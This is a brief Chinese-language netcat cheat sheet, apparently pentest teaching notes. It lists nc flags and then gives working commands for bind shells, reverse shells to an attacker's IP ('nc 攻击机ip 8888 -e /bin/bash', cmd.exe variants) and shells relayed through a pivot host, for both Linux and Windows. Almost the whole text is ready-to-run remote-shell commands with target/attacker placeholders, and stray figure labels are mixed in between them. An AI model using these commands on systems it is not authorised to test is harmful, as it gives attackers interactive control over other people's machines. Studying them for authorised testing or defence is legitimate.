NC常见参数:
-c 指定连接后要执行的shell命令
-e 指定连接后要执行的文件名
-l 监听模式
-p 设置本地使用的通信端口
-u 使用UDP传输协议,默认是TCP
-v 显示命令执行过程,使用-vv显示更详细信息
NC——正向Shell
Linux
靶机:
nc -lvp 8888 -e /bin/bash
靶机
攻击机:
nc 靶机ip 8888
攻击机连接靶机ip 端口
攻击机
Windows
靶机:
nc.exe -lvp 8888 -e cmd.exe
攻击机:
nc 靶机ip 8888
NC——反向Shell
Linux
攻击机:攻击机开启监听
nc -lvp 8888
攻击机开启监听
靶机:
nc 攻击机ip 8888 -e /bin/bash
靶机
攻击机
Windows
攻击机:
nc -lvp 80
靶机:
nc 攻击机ip 80 -e cmd.exe
NC——通过跳板机反弹Shell
Linux
靶机:
nc.exe -lvp 6666 -e cmd.exe
边界机:
nc -nv 攻击机ip 8888 -c "nc 靶机ip 6666"
攻击机:
nc -lvp 8888
Windows
靶机:
nc.exe -lvp 6666 -e cmd.exe
靶机
攻击机:
nc.exe -lvp 8888
攻击机
边界机:
nc.exe -nv 攻击机ip 8888 -e "nc.exe 靶机ip 6666"
边界机
然后在攻击机中执行相关命令
攻击机